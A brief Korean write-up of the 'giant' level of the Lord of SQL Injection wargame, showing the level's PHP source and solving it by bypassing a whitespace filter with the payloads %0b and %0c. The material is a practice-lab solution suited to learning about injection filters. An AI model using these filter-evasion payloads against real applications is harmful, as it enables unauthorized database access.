[Solved in under 2 minutes]
후 하 LoS가 틀렸는지 맞는지 바로 확인 할 수 있어서 참 좋은 것 같다.
누구나 공부하기에 너무 좋다
가보자

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result[1234]) solve("giant");
highlight_file(__FILE__);
?>
이전과는 다른 문제이다.
코드를 정리하자면 인자를 shit으로 받고 이번에는 from [shit]table 이다.
그러나 코드가 붙어있으니 fromporb_giant로 되어있으니 저거를 띄어쓰기만 하면 되는데 필터링에 가만히 보면 공백, \n, \r, \t 가 안된다.
즉, 공백을 우회하는 문제다.
내가 매번 쓰는 녀석을 넣어보자

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
?shit=%0b
?shit=%0c
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
바로 됐다.
%20, %09, %0a, %0d 는 역시나 필터링이 되어 있어 안됐고 그 이외에는 됐다
%0b는 최고다.
LoS(Lord of SQL Injection) Giant Write-up
이상 보고 끝!